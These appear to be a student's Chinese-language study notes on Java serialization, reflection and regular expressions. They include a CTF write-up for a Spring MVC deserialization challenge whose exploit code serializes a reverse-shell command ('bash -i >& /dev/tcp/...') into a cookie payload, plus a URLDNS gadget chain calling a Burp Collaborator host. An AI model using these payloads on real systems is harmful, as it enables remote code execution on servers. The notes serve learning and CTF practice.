因为上学期学了java课,但是发现别的班讲了序列化和正则之类的,所以打算学一下
一、序列化概述
序列化是指把一个Java对象变成二进制内容,本质上就是一个byte[]数组。 序列化后可以把byte[]保存到文件中,或者把byte[]通过网络传输到远程,这样,就相当于把Java对象存储到文件或者通过网络传输出去了。 有序列化,就有反序列化,即把一个二进制内容(也就是byte[]数组)变回Java对象。有了反序列化,保存到文件中的byte[]数组又可以“变回”Java对象,或者从网络上读取byte[]并把它“变回”Java对象。(来源网络)
序列化最重要的作用:在传递和保存对象时.保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。
反序列化的最重要的作用:根据字节流中保存的对象状态及描述信息,通过反序列化重建对象。
总结:核心作用就是对象状态的保存和重建。(整个过程核心点就是字节流中所保存的对象状态及描述信息)
例如在php中如果要保存一个类,可以利用序列化将类保存成二进制内容:
1 2 3 4 5 6 7
| <?php class A{
} var_dump(serialize(new A()));
|
二、java序列化
java.io.ObjectOutputStream代表对象输出流,它的writeObject(Object obj)方法可对参数指定的obj对象进行序列化,把得到的字节序列写到一个目标输出流中。
java.io.ObjectInputStream代表对象输入流,它的readObject()方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。
只有实现了Serializable和Externalizable接口的类的对象才能被序列化。Externalizable接口继承自 Serializable接口,实现Externalizable接口的类完全由自身来控制序列化的行为,而仅实现Serializable接口的类可以 采用默认的序列化方式 。
对象序列化包括如下步骤:
1) 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流;
2) 通过对象输出流的writeObject()方法写对象。
对象反序列化的步骤如下:
1) 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流;
2) 通过对象输入流的readObject()方法读取对象。
所以可以用不同的方式实现对象的序列化
菜鸟教程
1.初步认识java序列化和反序列化
//用于序列化的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| import java.io.Serializable;
public class Student implements Serializable { private int id; private String name; private char sex; Student(int id,String name,char sex){ this.id = id; this.name = name; this.sex = sex; }
public void setId(int id){ this.id = id; }
public void setName(String name){ this.name = name; }
public void setSex(char sex){ this.sex = sex; }
public int getId(){ return this.id; }
public String getName(){ return this.name; }
public char getSex(){ return this.sex; }
}
|
//实现序列化
1 2 3 4 5 6 7
| void serialize(Student std) throws IOException { ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("output.txt")); obj.writeObject(std); System.out.println("序列化成功!"); obj.close(); }
|
//实现反序列化
1 2 3 4 5 6 7
| void unSerialize() throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(new File("output.txt"))); Student student = (Student) objectInputStream.readObject(); System.out.println(student.getName()); System.out.println("反序列化成功"); objectInputStream.close(); }
|
2.深入学习
java序列化和反序列化全讲解
序列化方法:原生、xml、json等
- 序列化的类必须实现Serialize接口
- 静态变量不能被序列化
transient
不参与序列化
readObject
方法的安全问题:当类被反序列化的时候,如果类里面有readObejct
方法就会自动执行代码(只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力
Tips:
共同条件 继承Serialize
入口类 source(重写readObject=>调用常见的函数 参数类型宽泛 最好jdk自带) 如 Map
、HashMap
调用链 gadget chain
执行类 sink (rce ssrf 写文件……)
漏洞相关:
当进行ssrf的时候,java中的URL
类(可序列化)
3.深入学习之java反射
反射:一开始我们并不知道我们要初始化的类对象是什么,自然也无法使用new关键字来创建对象
(可利用java反射调用default修饰的类、调用方法
Student
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable;
public class Student implements Serializable { private int id; private String name; private char sex; public int score;
public Student(){
}
public void setId(int id){ this.id = id; }
public void setName(String name){ this.name = name; }
public void setSex(char sex){ this.sex = sex; }
public int getId(){ return this.id; }
public String getName(){ return name; }
public char getSex(){ return this.sex; }
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); Runtime.getRuntime().exec("calc"); }
public String toString(){
return "this is a student"; }
}
|
RefectionTest
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method;
public class RefectionTest { public static void main(String[] args) throws Exception { Student student = new Student(); Class c = student.getClass();
Constructor constructor = c.getConstructor(); Student student1 = (Student) constructor.newInstance(); System.out.println(student1);
Field name = c.getDeclaredField("name");
name.setAccessible(true); name.set(student1,"1"); System.out.println(student1);
Method action = c.getMethod("getName"); action.invoke(student1);
Method action1 = c.getMethod("setName", String.class); action.setAccessible(true); action1.invoke(student1,"ameuu");
} }
|
[V&N2020公开赛]springmvc
buuoj.cn
1.先自己做
因为还没学过Spring框架,也不会搭,就先自己随便看看代码了
可以发现Tools
类是存在Serialize
接口的,所以是可以序列化的,并且写了序列化和反序列化的函数,最后还重写了readObject
,所以该类应该就是我们可以利用的类
那我们可以先来看看readObject方法,发现可要传入的是反序列化之后的内容,其实应该也算是传入一个对象,然后进行实例化
1 2 3 4
| private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { Object obj = in.readObject(); (new ProcessBuilder((String[])((String[])obj))).start(); }
|
可以找找看ProcessBuilder
类
再看看其他的类
可以找到比较特别的类,ClientInfoFilter
,因为这里调用了Tools中的序列化函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
|
package com.filters;
import com.tools.ClientInfo; import com.tools.Tools; import java.io.IOException; import java.util.Base64; import java.util.Base64.Decoder; import java.util.Base64.Encoder; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse;
public class ClentInfoFilter implements Filter { public ClentInfoFilter() { }
public void init(FilterConfig fcg) { }
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { Cookie[] cookies = ((HttpServletRequest)request).getCookies(); boolean exist = false; Cookie cookie = null; if (cookies != null) { Cookie[] var7 = cookies; int var8 = cookies.length;
for(int var9 = 0; var9 < var8; ++var9) { Cookie c = var7[var9]; if (c.getName().equals("cinfo")) { exist = true; cookie = c; break; } } }
byte[] bytes; if (exist) { String b64 = cookie.getValue(); Decoder decoder = Base64.getDecoder(); bytes = decoder.decode(b64); ClientInfo cinfo = null; if (!b64.equals("") && bytes != null) { try { cinfo = (ClientInfo)Tools.parse(bytes); } catch (Exception var14) { var14.printStackTrace(); } } else { cinfo = new ClientInfo("Anonymous", "normal", ((HttpServletRequest)request).getRequestedSessionId()); Encoder encoder = Base64.getEncoder();
try { bytes = Tools.create(cinfo); } catch (Exception var15) { var15.printStackTrace(); }
cookie.setValue(encoder.encodeToString(bytes)); }
((HttpServletRequest)request).getSession().setAttribute("cinfo", cinfo); } else { Encoder encoder = Base64.getEncoder();
try { ClientInfo cinfo = new ClientInfo("Anonymous", "normal", ((HttpServletRequest)request).getRequestedSessionId()); bytes = Tools.create(cinfo); cookie = new Cookie("cinfo", encoder.encodeToString(bytes)); cookie.setMaxAge(86400); ((HttpServletResponse)response).addCookie(cookie); ((HttpServletRequest)request).getSession().setAttribute("cinfo", cinfo); } catch (Exception var13) { var13.printStackTrace(); } }
chain.doFilter(request, response); }
public void destroy() { } }
|
审计下来,可以发现如果我们要利用这个类的话,那应该是要满足第一个if语句,然后调用反序列化函数,并且要反序列化Tool类,从而执行Tool类里面的readObject方法,然后进行命令执行,虽然大概思路是知道的,但是无从下手(菜
看看别的师傅的wp吧!!
2.学习!
发现我的思路也对,总的来说就是要把我们伪造的序列化字符串放入cookie中,然后反序列化进行命令执行,那么现在比较难理解的就是该怎么进行命令执行了
理解:Tools类中还存在一个属性testCall是我们可以利用的,而在最后命令执行的时候会以String[]接收数据,那在序列化的时候将testCall改成String[]然后将命令传进去,那反序列化调用的时候就会执行我们写入的语句
exp:
Tools
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| package demo;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.Serializable;
public class Tools implements Serializable { private static final long serialVersionUID = 1L; private String[] testCall;
public Tools() { }
public void setTestCall(String[] str){ this.testCall = str; }
public static Object parse(byte[] bytes) throws Exception { ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes)); return ois.readObject(); }
public static byte[] create(Object obj) throws Exception { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream outputStream = new ObjectOutputStream(bos); outputStream.writeObject(obj); return bos.toByteArray(); }
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { Object obj = in.readObject(); (new ProcessBuilder((String[])((String[])obj))).start(); } }
|
ToolsTest
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package demo;
import java.util.Base64;
public class ToolsTest { public static void main(String[] args) throws Exception { Tools tools = new Tools(); String[] cmd = {"bash","-c","bash -i >& /dev/tcp/ip/6868 0>&1"}; tools.setTestCall(cmd); byte[] bytes = Tools.create(tools); Base64.Encoder encoder = Base64.getEncoder(); System.out.println(encoder.encodeToString(bytes)); } }
|
URL DNS链
首先可利用的类为HashMap
,因为这个类里面重写了readObject
等,然后我们的目标是调用HashMap
里面的hashCode
方法从而产生DNS请求。
而在put的时候就会在hash函数里面调用key.hashCode()
方法,但是在测试的时候会发现,就算没有反序列化也会发起请求,这会对我们是否成功而产生迷惑性,所有我们要使得序列化的时候不能发起请求,所有要在一开始hashCode的值不能为-1,但是又要在反序列化之前把hashCode的值改为-1
SerializeTest
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class SerializeTest { public static void serialize(Object obj) throws IOException { ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("output.txt")); os.writeObject(obj); } public static void main(String[] args) throws Exception { HashMap<URL,Integer> hashMap = new HashMap<URL, Integer>(); URL url = new URL("http://zy1ok3czhtt8z7qmwpi4xkxiy942sr.burpcollaborator.net"); Class c = url.getClass(); Field field = c.getDeclaredField("hashCode"); field.setAccessible(true); field.set(url,1223); hashMap.put(url,1);
field.set(url,-1); serialize(hashMap); } }
|
UnserializeTest
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.ObjectInputStream;
public class UnserializeTest { public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream os = new ObjectInputStream(new FileInputStream(Filename)); Object obj = os.readObject(); return obj; }
public static void main(String[] args) throws IOException, ClassNotFoundException { unserialize("output.txt"); } }
|
(个人还不是特别懂
三、java正则匹配
菜鸟教程
字符 |
说明 |
\ |
将下一字符标记为特殊字符、文本、反向引用或八进制转义符。例如, n匹配字符 n。\n 匹配换行符。序列 \\** 匹配 *\* ,\(** 匹配 **(**。 |
^ |
匹配输入字符串开始的位置。如果设置了 RegExp 对象的 Multiline 属性,^ 还会与”\n”或”\r”之后的位置匹配。 |
$ |
匹配输入字符串结尾的位置。如果设置了 RegExp 对象的 Multiline 属性,$ 还会与”\n”或”\r”之前的位置匹配。 |
* |
零次或多次匹配前面的字符或子表达式。例如,zo* 匹配”z”和”zoo”。* 等效于 {0,}。 |
+ |
一次或多次匹配前面的字符或子表达式。例如,”zo+”与”zo”和”zoo”匹配,但与”z”不匹配。+ 等效于 {1,}。 |
? |
零次或一次匹配前面的字符或子表达式。例如,”do(es)?”匹配”do”或”does”中的”do”。? 等效于 {0,1}。 |
{n} |
n 是非负整数。正好匹配 n 次。例如,”o{2}”与”Bob”中的”o”不匹配,但与”food”中的两个”o”匹配。 |
{n,} |
n 是非负整数。至少匹配 n 次。例如,”o{2,}”不匹配”Bob”中的”o”,而匹配”foooood”中的所有 o。”o{1,}”等效于”o+”。”o{0,}”等效于”o*”。 |
{n,m} |
m 和 n 是非负整数,其中 n <= m。匹配至少 n 次,至多 m 次。例如,”o{1,3}”匹配”fooooood”中的头三个 o。’o{0,1}’ 等效于 ‘o?’。注意:您不能将空格插入逗号和数字之间。 |
? |
当此字符紧随任何其他限定符(*、+、?、{n}、{n,}、{n,m})之后时,匹配模式是”非贪心的”。”非贪心的”模式匹配搜索到的、尽可能短的字符串,而默认的”贪心的”模式匹配搜索到的、尽可能长的字符串。例如,在字符串”oooo”中,”o+?”只匹配单个”o”,而”o+”匹配所有”o”。 |
. |
匹配除”\r\n”之外的任何单个字符。若要匹配包括”\r\n”在内的任意字符,请使用诸如”[\s\S]”之类的模式。 |
(pattern) |
匹配 pattern 并捕获该匹配的子表达式。可以使用 $0…$9 属性从结果”匹配”集合中检索捕获的匹配。若要匹配括号字符 ( ),请使用”(“或者”)“。 |
(?:pattern) |
匹配 pattern 但不捕获该匹配的子表达式,即它是一个非捕获匹配,不存储供以后使用的匹配。这对于用”or”字符 (|) 组合模式部件的情况很有用。例如,’industr(?:y|ies) 是比 ‘industry|industries’ 更经济的表达式。 |
(?=pattern) |
执行正向预测先行搜索的子表达式,该表达式匹配处于匹配 pattern 的字符串的起始点的字符串。它是一个非捕获匹配,即不能捕获供以后使用的匹配。例如,’Windows (?=95|98|NT|2000)’ 匹配”Windows 2000”中的”Windows”,但不匹配”Windows 3.1”中的”Windows”。预测先行不占用字符,即发生匹配后,下一匹配的搜索紧随上一匹配之后,而不是在组成预测先行的字符后。 |
(?!pattern) |
执行反向预测先行搜索的子表达式,该表达式匹配不处于匹配 pattern 的字符串的起始点的搜索字符串。它是一个非捕获匹配,即不能捕获供以后使用的匹配。例如,’Windows (?!95|98|NT|2000)’ 匹配”Windows 3.1”中的 “Windows”,但不匹配”Windows 2000”中的”Windows”。预测先行不占用字符,即发生匹配后,下一匹配的搜索紧随上一匹配之后,而不是在组成预测先行的字符后。 |
x|y |
匹配 x 或 y。例如,’z|food’ 匹配”z”或”food”。’(z|f)ood’ 匹配”zood”或”food”。 |
[xyz] |
字符集。匹配包含的任一字符。例如,”[abc]”匹配”plain”中的”a”。 |
[^xyz] |
反向字符集。匹配未包含的任何字符。例如,”[^abc]”匹配”plain”中”p”,”l”,”i”,”n”。 |
[a-z] |
字符范围。匹配指定范围内的任何字符。例如,”[a-z]”匹配”a”到”z”范围内的任何小写字母。 |
[^a-z] |
反向范围字符。匹配不在指定的范围内的任何字符。例如,”[^a-z]”匹配任何不在”a”到”z”范围内的任何字符。 |
\b |
匹配一个字边界,即字与空格间的位置。例如,”er\b”匹配”never”中的”er”,但不匹配”verb”中的”er”。 |
\B |
非字边界匹配。”er\B”匹配”verb”中的”er”,但不匹配”never”中的”er”。 |
\cx |
匹配 x 指示的控制字符。例如,\cM 匹配 Control-M 或回车符。x 的值必须在 A-Z 或 a-z 之间。如果不是这样,则假定 c 就是”c”字符本身。 |
\d |
数字字符匹配。等效于 [0-9]。 |
\D |
非数字字符匹配。等效于 [^0-9]。 |
\f |
换页符匹配。等效于 \x0c 和 \cL。 |
\n |
换行符匹配。等效于 \x0a 和 \cJ。 |
\r |
匹配一个回车符。等效于 \x0d 和 \cM。 |
\s |
匹配任何空白字符,包括空格、制表符、换页符等。与 [ \f\n\r\t\v] 等效。 |
\S |
匹配任何非空白字符。与 [^ \f\n\r\t\v] 等效。 |
\t |
制表符匹配。与 \x09 和 \cI 等效。 |
\v |
垂直制表符匹配。与 \x0b 和 \cK 等效。 |
\w |
匹配任何字类字符,包括下划线。与”[A-Za-z0-9_]”等效。 |
\W |
与任何非单词字符匹配。与”[^A-Za-z0-9_]”等效。 |
\xn |
匹配 n,此处的 n 是一个十六进制转义码。十六进制转义码必须正好是两位数长。例如,”\x41”匹配”A”。”\x041”与”\x04”&”1”等效。允许在正则表达式中使用 ASCII 代码。 |
*num* |
匹配 num,此处的 num 是一个正整数。到捕获匹配的反向引用。例如,”(.)\1”匹配两个连续的相同字符。 |
*n* |
标识一个八进制转义码或反向引用。如果 *n* 前面至少有 n 个捕获子表达式,那么 n 是反向引用。否则,如果 n 是八进制数 (0-7),那么 n 是八进制转义码。 |
*nm* |
标识一个八进制转义码或反向引用。如果 *nm* 前面至少有 nm 个捕获子表达式,那么 nm 是反向引用。如果 *nm* 前面至少有 n 个捕获,则 n 是反向引用,后面跟有字符 m。如果两种前面的情况都不存在,则 *nm* 匹配八进制值 nm,其中 n 和 m 是八进制数字 (0-7)。 |
\nml |
当 n 是八进制数 (0-3),m 和 l 是八进制数 (0-7) 时,匹配八进制转义码 nml。 |
\un |
匹配 n,其中 n 是以四位十六进制数表示的 Unicode 字符。例如,\u00A9 匹配版权符号 (©)。 |
Pattern Matcher
Pattern.matches()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package demo2;
import java.util.regex.Matcher; import java.util.regex.Pattern;
public class Replace { public static void main(String[] args) {
boolean res = Pattern.matches("a|m|e|u|u","a"); System.out.println(res); } }
|
Pattern + Matcher
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import java.util.regex.Matcher; import java.util.regex.Pattern;
public class Replace { public static void main(String[] args) {
String data[] = {"[0-9]{11}","[0-9]{4}\\.[0-9]{1,2}\\.[0-9]{1,2}"}; Pattern r = Pattern.compile(data[1]); Matcher ans = r.matcher("2001.1.2"); if(ans.find()){ System.out.println("group:"+ans.group()); System.out.println("start:"+ans.start()); System.out.println("end:"+ans.end()); System.out.println("matches:"+ans.matches()); System.out.println("lookingAt:"+ans.lookingAt()); } else { System.out.println("error"); } } }
|
replace
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import java.util.regex.Matcher; import java.util.regex.Pattern;
public class Replace { public static void main(String[] args) {
String input = "dog"; Pattern p = Pattern.compile(input); Matcher m = p.matcher("catcatcatcatcatcatcatdogcatcatcatdog"); if(m.find()){ input = m.replaceAll("fish"); System.out.println(input); input = m.replaceFirst("fish"); System.out.println(input); } } }
|